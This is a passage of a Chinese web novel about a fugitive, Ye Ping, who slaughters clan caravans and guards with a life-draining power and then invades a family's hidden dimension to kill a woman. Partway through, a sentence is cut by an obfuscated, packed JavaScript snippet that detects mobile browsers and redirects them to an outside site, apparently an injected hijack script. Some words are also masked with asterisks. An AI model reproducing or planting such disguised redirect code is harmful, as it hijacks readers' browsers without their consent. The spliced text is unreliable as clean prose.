叶苍站起身,语气冷淡:“只找到这些尸体,叶鸿和李嵩的踪迹全无。” 李砚没放松警惕,走到那名柳家专家的尸体旁,手指按在对方的脖颈处——皮肤下的血管已经干瘪,连一丝活气都没有。 “天人五衰的痕迹很明显。”他抬头看向叶苍,眼神凝重,“能做到这点的,只有张玉汝,可是他不是已经**吗?” 两人的目光同时扫过实验室——地面没有新鲜足迹,墙壁没有新的破洞,连空气中的能量残留都在快速消散,像是被人刻意清理过。 叶苍的精神力再次铺开,扫过整个建筑,甚至延伸到外面的废墟,却只探到几只低阶异兽的气息,没有任何高阶能量反应。 “不对劲。”李砚走到窗边,看向外面的黑暗。 “宗师级战斗会留下大量能量残留,可这里除了零星的衰亡之力和「深渊」痕迹,什么都没有——要么是张玉汝用了某种方法掩盖了痕迹,要么是……” 他没说下去,但两人都明白:要么就是内部出现了对这一切足够熟悉的叛徒,而那个叛徒,大概率就是尸身没有出现在这里的叶平。 远处的风暴越来越近,实验室的门被风吹得“哐当”作响。 叶苍深吸一口气,抬手示意队员撤退:“这里找不到更多线索了,再待下去会有危险。通知家族,叶鸿、李嵩大概率陨落,叶平叛逃,携混元大丹失踪。” 李砚也点头,指尖的水系能量收起:“我会汇报李家。这里面的水比我们想的还深。” 两队人先后退出实验室,身影很快消失在夜色里。 黑暗中,只有实验室里的尸体和残破仪器静静躺着,碎玻璃反射着微弱的月光,像是在无声诉说着不久前的厮杀。 叶家宗祠深处,暗金色的「血脉镜」悬浮在祭台上,镜面泛着细碎的光纹,映出叶平周身缠绕的黑白能量。 这是叶家独有的「血脉追踪秘法」,只要嫡系血脉还活着,哪怕相隔千里,也能通过镜中虚影确认死活。 当光纹稳定下来的那一刻,宗祠内的几位核心长老脸色彻底沉了下来。 “确定是叶平?没有被张玉汝残魂反噬操控的痕迹?”长老叶苍澜指着镜面中清晰的人脸,声音里带着不容置疑的威严。 负责催动秘法的族老躬身回话:“回长老,虚影能量稳定,且与叶平早年血脉印记完全吻合,张玉汝残魂已被压制,绝无假死反杀的可能——是他自己反了。” “反了就好。”叶苍澜冷哼一声,指尖在祭台上划过,暗金色的族规卷轴瞬间展开。 “传令下去,将叶平列入必杀名单,所有与他有过关联的旁系、嫡系人员,包括他那支脉的长老,全部软禁在宗祠偏院,没我命令,不得踏出半步。” 命令下达的瞬间,宗祠外的影卫如离弦之箭般冲出。 不过半个时辰,叶平母亲所在的院落就被团团围住,负责看守的叶家子弟面无表情地收起院门令牌。 曾与叶平合作过任务的三名嫡系,刚回到家族驻地,就被影卫扣住手腕,押往宗祠偏院——没有审问,没有辩解,只有雷厉风行的控制,连一丝拖泥带水都没有。 “处理叛徒的速度,比应对异兽围城还快。”负责押送的影卫队长低声感慨,却不敢有丝毫懈怠。 叶家向来如此,对外或许会权衡利弊、步步为营,但对内的叛徒,从来都是“斩草除根”的狠厉——毕竟,能从内部捅刀子的人,比外敌更危险。 短短三天,叶平的所有信息就被整理成册,传遍了所有天人家族。 泛黄的通缉令贴满了雍州各城的城墙,上面不仅有叶平的高清画像——俊美的脸上带着一丝桀骜,混沌色的瞳孔格外醒目;还详细标注了他的能力特点。 掌控「加速世界」「颠倒世界」双系能力,擅用「刹那」突袭与「天人五衰」,可直接衰亡生命本源。 连带着各种能力的效果介绍,都被公之于众。 甚至连他早年执行任务时惯用的战斗风格和原本的能力,都被一一列出。 更狠的是悬赏——叶家联合李家等十四个天人家族,通过「先导会」发布了追杀令。 提供叶平准确行踪者,赏千年雪莲三株、能量晶核百颗;击杀叶平者,可直接进入叶家核心序列,优先使用顶级修炼资源;若能生擒叶平,则是能够得到无限量的晋升资源,直到晋升宗师级能力者为止。 如此丰厚的悬赏,让整个雍州的能力者都沸腾了——猎人、散修、甚至一些小型势力,都开始四处搜寻叶平的踪迹,恨不得立刻找到这个“行走的宝库”。 所有人都以为,叶平会像丧家之犬一样躲起来,不敢再露面。 可他们都错了。 悬赏发布的第五天,雍州南部的“魏家铁矿场”就遭遇了袭击。 负责看守铁矿场的三十名魏家下属,全部倒在血泊中,每个人的身上都没有明显伤口,只有皮肤呈现出枯灰色的衰亡痕迹——这是「天人五衰」的典型特征。 铁矿场的仓库被洗劫一空,所有能量晶核与矿石都不翼而飞,现场只留下一道淡淡的黑白能量轨迹,指向茫茫山林。 半个月后,李家下属的“流云商会”也遭了殃。 商会的防御阵被强行破开,里面的账本被烧毁,储存的修炼资源被席卷一空,负责商会安全的两名大师级能力者,连敌人的面都没看清,就被「刹那」突袭重创,最后死于「天人五衰」之下。 短短一个月内,雍州境内十余家天人家族的下属势力遭袭,从铁矿场、商会到小型据点,无一幸免。 每次袭击都干净利落,叶平从不恋战,得手后立刻撤离,只留下满地尸体与狼藉的现场。 更让天人家族愤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582906|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒的是,叶平似乎故意挑选那些“不起眼却关键”的下属势力。 这些势力虽小,却是天人家族获取资源、传递信息的重要节点,连续遭袭后,七大天人家族的资源供应都出现了短暂断层。 “妈的!这叶平是疯了吗?!”魏家负责资源调度的长老拍着桌子怒吼,桌上的铁矿场损失报告被他攥得皱巴巴的,“明知道悬赏这么高,还敢出来**,还专挑我们的下属势力下手!” 李家的议事厅里,李嵩的弟弟李岳看着商会的损失清单,脸色铁青:“他这是在报复!是在故意打我们天人家族的脸!必须尽快抓住他,否则再过不久,我们的下属势力都要被他搅得鸡犬不宁!” 可愤怒归愤怒,没人能找到叶平的踪迹。 他像个幽灵,每次袭击都选在偏僻却关键的地方,得手后就消失在山林或废墟中,连「血脉追踪秘法」都无法锁定他的位置。 显然,他已经学会了如何隐藏自己的血脉气息,甚至能利用「颠倒世界」的力量,干扰秘法的追踪。 雍州境内,天人家族的下属势力人人自危,没人知道下一个被袭击的会是谁。 而叶平,这个被全族追杀的叛徒,却在这场追杀游戏中,玩得不亦乐乎——他不仅要夺取资源,强化自己的力量,还要让那些曾经轻视他的天人家族,尝尝滋味。 雍州各大家族的议事厅里,最近总是充斥着压抑的怒火——比起那些破城而入的异兽,叶平这个“叛徒”,显然更让他们咬牙切齿。 异兽虽凶,可大多盯着普通民众和无背景的散修能力者。 大家族早在异兽围城前,就通过内部渠道拿到了预警,提前将核心成员、贵重资源转移到了内城要塞,留在外城殿后的,从来都是由普通能力者组成的城防军,或是依附家族的小势力。 就算外城被破,大家族的根基也伤不到分毫,顶多损失些外围产业,事后还能借着“抗兽”的名义,向镇守府索要补偿。 可叶平不一样。 他像一把精准的**,专挑大家族的势力下手——今天端了魏家在外城的能量晶核仓库,明天毁了赵家的附庸势力据点,后天又袭击了萧家运输物资的车队。 更要命的是,在雍州地界,能真正站稳脚跟的家族,哪个没跟天人家族沾点关系? 要么是叶家的附庸,要么是李家的合作方,就算是看似中立的家族,暗地里也少不了与天人做交易。 叶平嘴上喊着“针对天人家族”,可实际上,几乎所有有点规模的家族,都成了他的袭击目标。 “这个叶平!简直是疯了!”魏家大长老在议事厅里拍着桌子,脸色铁青,“我们在外城的三个晶核仓库全被他毁了,损失超过三百万下品晶核!城防军那边还在催我们补交军备,这让我们怎么交?” 萧家主事也皱着眉附和:“我们的物资车队昨天在城郊被他劫了,押送的十名高级能力者全**,连尸体都被他用那种诡异的力量弄得不成样子。现在没人敢接我们的运输活,内城的物资供应都快断了!” 不是没人想除掉叶平。 魏家曾派出三名大师级巅峰能力者组成猎杀小队,结果连叶平的影子都没摸到,反而被他用「刹那」突袭,全灭在山谷里。 赵家请了两名宗师级客卿,结果客卿刚查到叶平的踪迹,就被他用「天人五衰」偷袭,其中一人当场身亡,另一人虽然侥幸逃脱,却被衰亡之力缠上,损失了三十年寿元,从此闭门不出。 久而久之,没人再敢轻易招惹叶平。 倒不是没人打得过他,而是“不值得”——李家那位的大宗师,此刻正和长安镇守一起坐镇内城前线,死死盯着城外的帝级异兽,根本抽不开身。 其他家族的宗师级能力者,虽然有能力与叶平一战,却没人愿意拼上性命。 叶平手里有「天人五衰」这种能直接损伤寿元的杀招,就算能打赢,万一被他缠上,损失的寿元可不是那点悬赏能弥补的。 至于那些接近宗师的大师级能力者,更不敢轻易出手。 他们或许能在叶平手下撑几招,可一旦被「刹那」近身,或是被「衰亡之力」沾到,大概率就是死路一条。 悬赏再丰厚,也得有命花才行。 就这样,叶平成了雍州境内一个无解的麻烦——他像幽灵一样,在城市废墟、山林峡谷间游荡,时不时冒出来袭击大家族的势力,搅得整个雍州鸡犬不宁。 大家族恨得牙痒痒,却又无可奈何;天人家族虽然发布了高额悬赏,却没人敢接。 普通民众和散修能力者,反而因为叶平牵制了大家族的精力,少了些被“当炮灰”的压力,甚至暗地里觉得叶平“干得好”。 第 51章 察觉 暮色将沉时,雍州西南的青莽山脉里,一队商队正贴着崖壁缓缓前行。 这里是赵家花了三年才拓出来的隐秘商路,狭窄的路径仅容两辆货车并行。 左侧是刀削般的陡崖,崖壁上垂着密密麻麻的青藤,风一吹就簌簌作响;右侧是深不见底的沟壑,谷底隐约传来溪流的呜咽,偶尔还夹杂着几声异兽的低吼,却被崖壁挡着,听不真切。 赵家子弟赵奎走在队伍最前面,手里握着一柄短刃,另一只手时不时拨开挡路的荆棘。 他的眉头始终皱着,眼神像鹰隼般扫过四周的草木——青藤后面有没有藏人?崖壁的阴影里会不会有埋伏?连脚下的碎石都要踢开看一眼,生怕踩着什么陷阱。 “奎哥,歇会儿吧?”队伍中间,一名年轻子弟压低声音开口,声音里带着几分疲惫,却不敢放大音量,“走了快三个时辰了,连口热饭都没吃。” 赵奎回头瞪了他一眼,声音压得更低:“歇什么歇?忘了出门前家主怎么说的?这路再隐秘,也得防着意外。” 他抬手指了指远处的天际,那里隐约能看到一丝黑烟,“外城乱成那样,叶平那疯子到处杀天人势力的人,咱们要是暴露了,谁都活不了。” 队伍里的人瞬间噤声,连呼吸都放轻了。 所有人的动作都变得更谨慎:货车轮轴上裹着厚厚的麻布,避免滚动时发出声响;负责护卫的子弟把武器攥得更紧,目光警惕地盯着四周的阴影;连赶车的老仆都弯腰走在车旁,时不时用袖子擦去额头的冷汗——没人敢掉以轻心。 他们之所以如此小心,全是因为叶平。 这半个月来,叶平像疯了一样袭击所有和天人沾边的势力:魏家的晶核仓库被烧了三个,赵家的附庸据点被端了两个,连李家的运输队都被劫了四次。 原本通畅的商路全被打乱,粮食、药材、能量晶核这些物资的价格翻着跟头往上涨,有的甚至涨了十倍不止。 赵家的几个核心子弟看准了这个机会——他们偷偷凑了笔钱,从黑市上收了一大批稀缺药材,想通过这条隐秘商路运到内城,卖给那些急需药材的天人家族,一来一回能赚好几倍的利润。 “风险越大,利润越大。”出发前,领头的赵奎是这么跟大家说的,“叶平再疯,也不可能盯着所有商队。咱们这条路这么偏,他总不至于正好找到咱们头上吧?” 所有人都抱着这样的侥幸心理——雍州境内的商队没有一百也有八十,叶平就算一天杀一支,也未必能轮到他们。 只要把这批药材安全运到汉中,他们每个人都能分到一大笔钱,足够下半辈子衣食无忧了。 可意外,偏偏在最不该出现的时候来了。 走到一处拐角时,赵奎突然停住脚步,脸色骤变——前面的路径被一堆落石堵**。 那些石头像是刚从崖壁上滚下来的,还带着新鲜的泥土,最大的一块足有磨盘那么大,正好卡在路中间,把原本就狭窄的路径堵得严严实实。 “怎么回事?”后面的人凑上来,看到落石后也慌了,“这石头什么时候滚下来的?咱们之前探路的时候还没有啊!” 赵奎蹲下身,摸了摸落石上的泥土,指尖传来湿润的触感——泥土还没干,显然是刚落下没多久。 他抬头看了看头顶的崖壁,青藤摇晃,却没看到任何人影,也没听到异常的声响。 “先扎营。”赵奎咬了咬牙,做出决定,“派两个人去前面探探路,看看能不能绕过去;剩下的人把货车停到崖壁下,检查一下货物,别出了什么差错。” 两名年轻子弟立刻应声,握着短刃,小心翼翼地绕过落石,朝着前方的路径走去。 他们走得很慢,每走几步就回头望一眼,直到身影消失在拐角处。 剩下的人开始忙碌:有的把货车往崖壁下挪,有的用帆布盖住药材,有的则在周围布置简单的警戒陷阱。 赵奎站在落石旁,心里总觉得不安——这落石来得太巧了,正好堵在他们必经的路上,难道真的是巧合? 时间一点点过去,夕阳彻底沉了下去,山里的风变得更冷,还带着几分湿气。 可那两名探路的子弟,却迟迟没有回来。 “不对劲。”赵奎的脸色越来越难看,他拔出短刃,声音里带着一丝颤抖,“去两个人,看看他们怎么还没回来!” 又两名子弟应声而去,可这次,依旧是一去不回。 周围的空气瞬间变得凝重起来,所有人都意识到了危险——探路的人不可能凭空消失,肯定是遇到了什么不测。 “奎哥,咱们撤吧!”一名护卫脸色惨白地开口,“这地方太邪门了,别管货物了,先保命要紧!” “撤?怎么撤?”赵奎低吼道,目光落在那几辆货车上——车上的药材是他们全部的赌注,要是丢了,不仅赚不到钱,还得赔光本钱,回去还要被家主惩罚。 他咬了咬牙,心里的侥幸又冒了出来,“说不定只是探路的人走岔了路。咱们把货物搬上马车,绕路走,快!” 众人虽然害怕,却也舍不得放弃货物,纷纷动手,想把药材从货车上卸下来,转移到更轻便的马车上。 可就在这时,一道冰冷的笑声突然从头顶传来,像寒风一样刮过每个人的心头。 “想走?问过我了吗?” 赵奎猛地抬头,只见崖壁上方的青藤里,一道身影缓缓落下。 那人穿着一身血红的衣服,衣服上还沾着未干的血迹,像是刚从尸堆里爬出来的。 他的头发有些凌乱,额前的碎发遮住了部分眉眼,露出的一只瞳孔是混沌色的,正带着笑意盯着下方的商队——不是叶平,还能是谁? “叶……叶平!”有人认出了他,声音里满是恐惧,腿一软就瘫在了地上。 “终于找到你们了。”叶平落在地上,脚步轻得像猫,一步步朝着商队走来。 他的掌心泛着淡淡的墨色光晕,那是「枯荣」的衰亡之力,“我还以为你们会更聪明点,没想到这么快就自己送上门来了。” “杀了他!”赵奎嘶吼着,率先冲了上去,短刃带着风声刺向叶平的胸口。 他知道自己不是叶平的对手,却想拼一把——只要能拖延时间,说不定有人能跑出去。 可叶平只是侧身躲开,右手轻轻按在赵奎的肩膀上。 墨色的衰亡之力瞬间涌入,赵奎甚至没感受到疼痛,就看到自己的肩膀以肉眼可见的速度枯萎,皮肤变得干瘪,肌肉迅速萎缩,连骨骼都隐约透出黑色。 “不——!”赵奎发出凄厉的惨叫,想要后退,却被叶平死死按住肩膀,动弹不得。 周围的赵家子弟吓得魂飞魄散,有的想跑,有的想反抗,却乱作一团。 叶平像闲庭信步一样在人群中穿梭,掌心的墨色能量每一次接触到人,都会带来一场“死亡”——有人瞬间衰老,有人身体枯萎,有人甚至没来得及发出声音,就倒在地上没了气息。 惨叫声、求饶声、武器落地的声音交织在一起,却很快就平息了。 半个时辰后,青莽山脉的这条隐秘商路上,只剩下叶平一个人站在满地尸体中间。 他低头看了看掌心的墨色光晕,又抬头望向远处内城的方向,嘴角勾起一抹冷笑。 货车上的药材还在,却没人再去管。 叶平抬手一挥,一道黑色光刃划过,货车瞬间被劈成两半,药材散落一地。他没有停留,转身朝着山林深处走去,血红的衣服在暮色中渐渐消失,只留下满地黄沙和冰冷的尸体,印证着这场血腥的**。 风再次吹过崖壁,青藤簌簌作响,像是在为死去的人哀悼,又像是在为叶平的疯狂,奏响新的序曲。 赵家商队的尸体还在路边冒着热气,暗红色的血顺着山路沟壑蜿蜒流淌,在碎石滩上汇成一滩粘稠的血泊。 叶平踩在血泊里,黑色长靴沾满了碎肉与血痂,却毫不在意地抬手抹了把脸——刚才厮杀时溅在脸颊的血珠被他擦开,留下一道狰狞的红痕。 他低头看着掌心残留的墨色能量,那是「天人五衰」消散后留下的余温,指尖还能感受到赵家子弟临死前的绝望震颤。 这种“一面倒”的虐杀,他已经连续经历了半个月。 从魏家的晶核仓库到萧家的物资车队,再到如今赵家的隐秘商队,没有一个对手能在他手下撑过三招。 他享受这种碾压的快感——不需要勾心斗角,不需要忌惮对手的底牌,只需要抬手释放力量,就能看着那些曾经高高在上的家族子弟跪地求饶,这种感觉比他在叶家隐忍时想象的还要痛快。 可就在他眯眼回味这份舒爽时,心底突然窜出一丝异样——在赶来这里的路上,路边躲着两个瑟瑟发抖的平民小孩,他竟下意识地绕开了,没有像对待赵家子弟那样顺手抹杀。 “不对劲。 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“吸收了他的力量,连他的破毛病也沾上了。”叶平嗤笑一声,可眼底却闪过一丝冷厉。 他绝不允许自己被一个“死鬼”影响——张玉汝的“仁慈”是弱点,是他被围剿的原因,自己可不会犯同样的错。 普通人也好,家族子弟也罢,只要挡路,就该**;只要可能影响自己,就必须清除。 “得把这该死的影响彻底抹掉。”叶平握紧拳头,掌心的墨色能量再次凝聚。 他盯着远处的山林,脑海里浮现出一个疯狂的念头:既然影响来自张玉汝,那只要把所有和张玉汝产生过联系的人全部杀掉,这股影响是不是就会消失? 这个念头一冒出来,就像野草般疯狂生长。 他开始回忆与张玉汝相关的人:参与过张玉汝躯体实验的研究员,押送张玉汝到实验室的李家护卫小队,甚至所有和张玉汝有过一段时间接触的人。 “一个都不能留。”叶平的脸上露出灿烂的笑容,可这笑容落在满地尸体的背景里,却显得格外狰狞。 他转身朝着山下走去——柳家是他的第一个目标。 沿途的难民看到满身是血的叶平,吓得纷纷躲了起来。 叶平这次没有绕开,反而故意踩着平民家门口的石阶走过,墨色能量在掌心若隐若现,吓得那些人人连呼吸都不敢大声。 他要打破这种“规避普通人”的习惯,要彻底斩断张玉汝残魂对自己的影响。 在拥有了速度类的能力者之后,距离对于叶平来说已经不再是个问题,没有花费太多时间,他便已经来到了长安城的柳家驻地。 随手丢开了几名护卫的尸体之后,叶平打开大门看到了他要找的人。 “柳泽川,好久不见。”叶平笑着开口,声音里满是戏谑。 柳泽川大概是雍州这片土地上和张玉汝接触最多的人之一,同样也是他在知道了张玉汝的身份之后亲自为叶平献上了计策。 柳泽川连滚带爬地想躲进内屋,却被叶平用「刹那」瞬间追上。 墨色的衰亡之力顺着叶平的指尖,轻轻按在柳泽川的后颈上。“你……你不能杀我!我知道很多秘密,我可以帮你!” 他哭喊着求饶,身体却开始快速衰败,头发以肉眼可见的速度变白,皮肤变得干瘪。 “我不需要你的秘密,我只需要你死。”叶平的声音冰冷,看着柳泽川在痛苦中抽搐,混沌色的瞳孔里没有丝毫怜悯。 他能清晰地感觉到,随着柳泽川的死亡,体内那股若有若无的“仁慈”念头似乎减弱了几分,张玉汝残魂的波动也变得微弱了一些。 “果然有用。”叶平松开手,看着柳泽川的尸体变成一具干尸,嘴角的笑容更浓了。 他转身走出木屋,外面的人吓得不敢露头,纷纷躲避着离开。 叶平盯着那道门缝,墨色能量在掌心凝聚——按照他以前的本性,会毫不犹豫地杀了这个可能记住自己模样的小孩。 他停顿了片刻,最终还是转身离开,只是心里的冷厉更甚:“一个一个来,我会彻底摆脱你的影响,张玉汝。” 夕阳西下,叶平的身影消失在平民区的小巷里,只留下那间破旧木屋里的干尸,和满街不敢出声的平民。 他的屠戮还未结束,一切只是刚刚开始。 第 52章 声音 柳家别院的血腥味还未散去,叶平踩着满地狼藉的尸体走到院门外,指尖残留的墨色衰亡之力随手一拂,便将衣角沾着的血渍化为飞灰。 他低头看了眼掌心,混沌色的瞳孔里没有丝毫波澜 —— 刚才的屠杀对他而言,不过是 “清除张玉汝残留影响” 的第一步,柳家那些曾参与过张玉汝躯体研究的人,如今已尽数成了他刀下亡魂。 “夏侯雪……” 叶平轻声念出这个名字,脑海里闪过之前的信息。 在所有与张玉汝有过深度接触的人里,夏侯雪是除了柳家之外,关联最深的一个。 “留着你,指不定还会让那家伙的‘贱民思维’影响我更多。” 他抬手召出一枚从柳家搜集来的信息玉简。 注入一丝能量,玉简上立刻浮现出密密麻麻的文字,其中一段清晰地记录着:“夏侯雪于异兽破城当日,随李砚卿撤入李家独立空间‘青冥境’,该空间依附于内城‘李氏宗祠’前的青铜鼎,非李家核心成员不得入内。” 叶平捏碎玉简,嘴角勾起一抹冷笑。 他早就听说过雍州独立空间的门道。 这地方的特殊之处,就在于长安城周边的独立空间数量和密度冠绝神州,但凡能在长安叫得上号的家族,都有自己的 “后路”。 这些空间不像寻常秘境那般游离不定,反而会依附于外界的特定物体,可能是一尊雕像,一块石碑,或是一口铜鼎,而这些 “依附物”,全被家族藏在了防卫最森严的内城。 之前外城破得那么快,根本不是异兽有多强,而是各大势力故意放任。 他们早把核心人员、贵重资源转移进了独立空间,外城不过是留给异兽的 “诱饵”,甚至连那些残留的城防工事,日后都能被能力者利用,反过来夹击异兽。 这些家族有恃无恐的底气,全来自那些藏在内城庇护下的独立空间 —— 就算依附物被毁,空间也不会消失,只会进入无序移动状态,等风头过了再重新绑定,只要内城不失,他们的根基就稳如泰山。 “李家…… 青冥境……” 叶平转身朝着长安内城的方向走去,黑色的衰亡之力在周身凝聚成一层薄薄的屏障,将沿途游荡的异兽残骸与断壁残垣挡开。 外城废墟里还能看到零星的城防军在与异兽厮杀,士兵们的惨叫声、异兽的嘶吼声交织在一起。 可叶平连眼皮都没抬 —— 这些 “贱民” 的死活,与他无关,他现在只有一个目标:找到李家的青铜鼎,潜入青冥境,杀了夏侯雪。 行至内城外围时,空气明显变得凝重起来。 高大的城墙外布满了能量符文,数名宗师级能力者的气息在城墙上萦绕,还有无数弓弩手和法阵师严阵以待 —— 这里是长安最后的屏障,也是各大势力 “依附物” 的藏身之地,防卫力度远超外城。 叶平没有硬闯,而是绕到一处相对偏僻的城墙角落。 他运转「加速世界」的力量,身体瞬间化作一道白色流光,贴着城墙根快速移动,「造化之眼」全力运转,将城墙上的符文节点、守卫的视线盲区尽收眼底。 宗师级的感知虽强,却也难以捕捉到「刹那」状态下的他,短短几息时间,他便绕开所有守卫,潜入了内城。 内城与外城的残破截然不同,街道干净整洁,两侧的建筑完好无损,甚至能看到不少家族子弟在街头走动,脸上没有丝毫外城那般的恐慌。 叶平压低身形,藏在一处巷口的阴影里,目光锁定了不远处那座气势恢宏的李氏宗祠 —— 宗祠前的广场中央,立着一尊三足青铜鼎,鼎身上刻满了繁复的云纹,鼎口萦绕着淡淡的青色光晕,显然就是青冥境的依附物。 广场四周有李家子弟巡逻,每个人身上都散发着高级以上的气息,鼎身周围还布有九层防御法阵,符文闪烁,一看便知是高阶阵法。 可这些在叶平眼里,不过是些无关紧要的阻碍 —— 他悄然靠近,指尖凝聚起一丝墨色能量,趁着巡逻队转身的间隙,精准地弹在法阵的一个薄弱节点上。 “嗡 ——” 法阵发出一声轻微的嗡鸣,青色光晕瞬间黯淡了一瞬,虽很快恢复,却已足够叶平行动。 他身形一闪,化作白色流光,径直冲向青铜鼎,在触碰到鼎身的瞬间,混沌色的瞳孔微微收缩。 「造化之眼」瞬间看穿了空间入口的波动 —— 他没有丝毫犹豫,身体化作一道残影,顺着那道波动钻了进去。 眼前的景象骤然变换,从内城的广场变成了一片云雾缭绕的山谷。 山谷里亭台楼阁错落有致,空气中弥漫着浓郁的能量气息,远处还能看到成片的灵田和药材圃,显然是李家精心打造的 “后路”。 不少李家子弟在山谷里走动,有的在修炼,有的在整理物资,脸上满是安逸,完全没意识到危险已经降临。 叶平落在一处隐蔽的竹林里,收敛了自身的气息。 他知道,夏侯雪既然是随李砚卿而来,大概率会待在李砚卿的居所附近。 他运转「造化之眼」,目光穿透层层云雾,很快便在山谷深处的一座阁楼里,捕捉到了一道熟悉的身影 —— 那是夏侯雪,正坐在窗边,手里拿着一份卷宗,似乎在研究什么。 “找到了。” 叶平嘴角勾起一抹冰冷的笑容,掌心再次凝聚起墨色的衰亡之力。 他悄无声息地朝着阁楼靠近,竹林里的竹叶被他周身的能量轻轻拂开,没有发出一丝声响。 山谷里的李家子弟依旧沉浸在安逸之中,没人察觉到,一个能轻易摧毁他们 “后路” 的恶魔,已经悄然来到了他们身边。 李家独立空间的外围,是一片被阵法笼罩的竹林。 青竹修长,竹叶在微风中轻晃,看似静谧,实则每一片竹叶都连着阵眼 —— 这是李家专门为守护空间设置的「青冥预警阵」,只要有杀意出现,阵法便会瞬间启动。 叶平的身影藏在竹林深处的阴影里,混沌色的瞳孔锁定了前方不远处的竹屋。竹屋的窗纸透出暖黄的光,隐约能看到一道纤细的身影在屋内走动,正是夏侯雪。 他攥紧右手,墨色的衰亡之力在掌心悄然凝聚 —— 夏侯雪是张玉汝生前接触最多的人,也是他计划中 “必须清除” 的最后一环。 只要杀了她,张玉汝残魂留在他体内的 “影响”,应该就能彻底消失。 杀意刚浓郁到顶点,脚下的地面突然亮起一道金色符文! “嗡 ——!” 刺耳的警报声瞬间穿透竹林,无数道金色光丝从竹叶间窜出,交织成一张巨大的光网,将叶平的位置牢牢罩住。 光网上的符文闪烁,不仅暴露了他的踪迹,还散发出一股压制性的能量,试图束缚他的动作。 “嗯?” 叶平挑眉,眼底闪过一丝不悦 —— 他竟忘了李家这种顶级家族,会在核心驻地外围布置如此灵敏的预警阵。 不过事已至此,再藏着掖着也没意义。 他猛地抬手,墨色能量劈向光网,“咔嚓” 一声,看似坚韧的光网竟被轻易撕裂,金色符文在衰亡之力的侵蚀下,瞬间黯淡成灰烬。 “有敌袭!” “是叶平!他怎么找到这里的?!” 竹林外传来李家子弟的惊呼声,十几道身影手持武器冲了过来,为首的是两名李家的中层子弟,气息都在高技能力者巅峰。 空间各处传来急促的呼喊,原本分散在庭院角落的李家子弟瞬间集结,手中长剑泛起寒光,朝着叶平围拢过来。 这些子弟都是李家精心培养的护卫,动作迅捷且配合默契,可在叶平眼里,不过是些不堪一击的蝼蚁。 他们显然早就听过叶平的凶名,脸色紧绷,却还是硬着头皮围了上来:“叶平!这里是李家的独立空间,你敢擅闯,就不怕……” “怕?” 叶平嗤笑一声,身影突然消失在原地 ——「刹那」的极速加持下,他几乎是瞬间就出现在那名说话的子弟身后,右手轻轻按在对方的后心。 墨色能量涌入的瞬间,那名子弟的身体猛地一僵,皮肤以肉眼可见的速度失去光泽,原本挺拔的身躯迅速干瘪,眨眼间就变成了一具皮包骨的干尸,直挺挺地倒在地上。 另一名子弟吓得瞳孔骤缩,转身就要跑,可刚迈出一步,脖颈就被叶平扼住。 “跑什么?” 叶平的声音带着冰冷的戏谑,手指微微用力,“你们李家不是很厉害吗?怎么没现在这么胆小?” “咔嚓” 一声脆响,那名子弟的脖子被生生捏断,尸体被随手扔在一旁。 他冷笑一声,不再隐藏气息,墨色能量顺着掌心喷涌而出,化作几道锋利的光刃,朝着最近的三名李家子弟横扫而去。 “噗嗤 ——” 三声闷响几乎同时响起,那三名子弟甚至没看清叶平的动作,胸口就被光刃划开深可见骨的伤口,鲜血喷涌而出,倒在地上没了气息。 剩下的李家子弟脸色骤变,却依旧咬牙冲上前,试图用人数拖延时间。 可叶平的「刹那」身法太过迅捷,身影在人群中不断闪烁,每一次停顿,都会有一名子弟倒下 —— 有的被衰亡之力触碰到手臂,瞬间化作枯骨;有的被他一脚踹中胸口,骨骼碎裂而亡。 不过短短十几秒,庭院里就躺下了十几具尸体,鲜血染红了青石板,与淡蓝色的阵纹交织在一起,显得格外刺眼。 就在叶平准备突破最后几名护卫,直奔夏侯雪而去时,一道清冷的女声突然从空中传来:“住手!” 伴随着声音,一片刺骨的寒气扑面而来,天空中瞬间飘起鹅毛大雪,无数冰棱像箭雨般朝着叶平射来。 叶平抬头,只见一道白色身影从阁楼窗口跃下,身姿轻盈如蝶,落地时裙摆上还沾着未化的雪花 —— 正是李家嫡系,擅长寒冰能力的李砚卿。 她的脸色苍白如霜,眼神清冷得像冬日的湖面,手中握着一柄通体冰蓝的长剑,剑身上凝结着细密的冰花,散发出令人心悸的寒气。 在李砚卿身后,还跟着四名大师级能力者,他们迅速分散开来,与李砚卿形成合围之势,将叶平困在中间。 这四名大师级各有所长,有的手持重盾,有的操控火焰,显然是李家为守护独立空间特意安排的精锐。 有了他们的加入,原本一边倒的屠杀局面终于被打破,叶平的动作也被迫放缓。 李砚卿穿着一身银白色的劲装,手里握着泛着寒光的长剑,脸色凝重地盯着叶平:“叶平,你屠戮赵家商队,袭击魏家仓库,现在又敢闯我李家的独立空间,真以为没人能治得了你?” 叶平停下脚步,混沌色的瞳孔扫过李砚卿和他身后的四人,嘴角勾起一抹冷笑:“治得了我?就凭你们几个?” 他话音刚落,身影再次消失 —— 这一次,他的目标是李砚卿身旁的一名大师级能力者。 “小心!” 李砚卿反应极快,长剑一挥,一道剑气朝着叶平的方向斩去,试图阻拦他的突袭。 可叶平的速度太快了,剑气刚到,他就已经出现在那名大师级能力者身后,右手抓向对方的肩膀。 “滚开!” 那名能力者怒吼一声,浑身爆发出土黄色的能量,试图用「戊土甲」挡住叶平的攻击。 可墨色的衰亡之力触碰到土黄色铠甲的瞬间,铠甲就像被强酸腐蚀般,迅速剥落、枯萎,根本起不到任何防御作用。 叶平的手稳稳按在对方的肩膀上,墨色能量涌入,那名大师连反抗的机会都没有,身体就开始快速衰败,几息之间便没了气息。 一招秒杀大师级能力者! 剩下的三名大师级能力者脸色骤变,李砚卿更是心头一沉 —— 她没想到,叶平的实力竟比传闻中还要恐怖。 她不再犹豫,对身后三人沉声道:“结阵!缠住他!” 三名能力者立刻会意,分别朝着三个方向散开,体内的能量爆发,形成一道三角阵型,能量交织成一道淡蓝色的光盾,挡在叶平面前。 李砚卿则手持长剑,绕到叶平侧面,银白色的剑气不断斩出,试图寻找叶平的破绽。 叶平看着眼前的光盾,眼神里没有丝毫在意。 